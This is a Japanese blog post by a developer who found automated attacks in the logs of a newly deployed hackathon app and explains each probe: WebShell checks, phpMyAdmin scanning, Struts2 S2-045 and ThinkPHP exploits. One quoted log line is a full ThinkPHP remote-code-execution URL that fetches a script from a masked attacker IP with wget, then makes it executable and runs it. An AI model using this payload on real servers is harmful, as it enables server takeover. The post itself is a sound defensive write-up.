Webアプリを公開したら攻撃を受けた話
TL;dr
- Webやるならセキュリティの勉強をしろ
- サーバのログは保存しよう
- WordPressは狙われやすいので気をつけて扱う
Webアプリをデプロイした
2月に福井県で行われたハッカソンに出たときのプロダクトが動くようになったので公開しました。
ハッカソンの詳細は以下記事から↓
公開したアプリは「観光地などでどこに行って良いかわからないときに他人の足あとを参考にできればいいよね」というので,以下から実際に使うことができます。
アプリの構成
ざっくり書くと,VPS上にDockerでGolangとMySQLのコンテナを立てています。
バックエンドの一部とフロントエンドのデザイン,CSS,一部スクリプトを担当しました。
サーバが攻撃を受けた
寝て起きたらアプリにバグが見つかったので修正ついでにログを眺めてみました。
思ったよりアクセスされていてうおーすごいと思いながらログを遡っていたら突然大量の404が吐かれている部分を発見。
大体こんな感じ。
404 GET /payload.php 404 GET /images/!.php 404 POST /9678.php 404 POST /db.init.php 404 POST /wp-admins.php 404 POST /m.php?pbid=open
途中にxiao.php
だとかzuoshou.php
とかへのアクセスがあったのを見る限り中国からの攻撃なのかな?
ほとんどの攻撃が同じIPアドレスからでしたが,一部別のIPアドレスからの攻撃も混ざっていました。
個別の攻撃をちょっと詳しく調べてみた
1. POST /wp-content/plugins/fAaWBH.php
WordPressの特定のプラグインの脆弱性を利用した攻撃なのかな?と思ったらそうではなかった。
プラグインにアクセスしているのであれば/wp-content/[プラグイン名]
となるらしいです。
調べてみるとWebShellが存在するか確認している攻撃の一種らしいです。
WebShellというのはWeb上からサーバのシェルにコードを送り込むためのエンドポイントみたいなやつで,他の攻撃者がこれをサイト上に設置していた場合いろいろな攻撃者からこのWebShellを通してサーバに攻撃が飛んでくるというわけです。怖い。
リクエストボディには特に意味のないコードが仕込まれているらしく,その実行結果が正しく返ってきたらWebShellが設置されているということで次の攻撃が掛かってくるみたいな仕組みらしい。
WebShellなるものの存在を初めて知ったので今度実験してみようと思います。
2. POST /index.php?s=captcha
一連の攻撃が全てリクエスト先がphpファイルだった辺りWordPressのサイトを標的にした攻撃っぽい…と思ったらそうではないらしい。
調べてみると,ThinkPHPの脆弱性を利用した攻撃ということがわかりました。
ThinkPHPというのは中国で人気のある(あった?)フレームワークで,調べてみると任意のコードが実行できる脆弱性が一時騒動になったらしいです。なるほど。
個人的に「フレームワークを使っていれば大抵の脆弱性は防げる」みたいな気持ちがあったのでちょっと驚いてしまった。セキュリティはいつでも意識しておかなければいけません。
3. GET /phpMyAdmin/index.php
やたらいろいろなパスでphpMyAdminへのアクセスを試していました。
/pmd/index.php
とか,/pma2/index.php
とか,db/index.php
,/admin/pma/index.php
,/mysql-admin/index.php
とかとか。
これについては特に書くこともありませんが,MySQLのWebUIへの接続を試みています。
フォロワーさんが教えてくれた記事にこの攻撃を詳しく解析してみた話が載っていたので紹介しておきます。
4. GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20http://[IPアドレス]/a_thk/sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a;
クエリの様子からも分かる通りこれも2番目のものと同じようにThinkPHPの脆弱性を利用した攻撃。URLのIPアドレスは伏せました。
中をなんとなく読んでみると,あるサーバのファイルをダウンロードして実行権限を付け,実行する…みたいなコードっぽい?
それにしてもGETリクエストからshell_execとか呼べるってどんな脆弱性だよ酷すぎるだろ。
5. GET /index.action
これはApache Struts2の脆弱性S2-045(CVE-2017-5638)を利用した攻撃とのことで,任意のコードが実行可能な脆弱性らしいです。厳しい。
似たような攻撃にGET /index.doというリクエストがありましたが,これも同じものっぽい。
まとめ
実際にサーバを公開してログを取ってみないと得られない経験をしました。確かにググれば出てくることではあるけど一瞬ちょっとビビった。
今回は全部自動のスクリプトによる無差別攻撃だった(多分)ので良かったけど自分のサーバが狙われたらと思うと怖いですね。
今回の開発にはチームの方の提案でDockerを使っていたのですが,適切にアプリケーションをコンテナ化すると使いやすいだけでなく万が一攻撃を受けたときの被害をコンテナの中だけに抑えられるので嬉しい気がします。
また,WordPressをアルバイトで扱っていたことがあるので「脆弱性が多くて攻撃を受けやすいので良くない」というのは聞いたことがあったのですが,実際にこうWordPressを標的にした攻撃を目の当たりにすると実感が湧きますね。
あとこれを思い出しました。
ともあれローカルで動かしていては絶対にこういった経験はできないので,Web開発をしている人は実際にデプロイしてみるとまた新しい発見があるかもしれません。
参考リンク
ハニーポット観察記録(37)「WebShellの探索」 at www.morihi-soc.net
ハニーポットのログ分析(2019/02/21) - S-Owl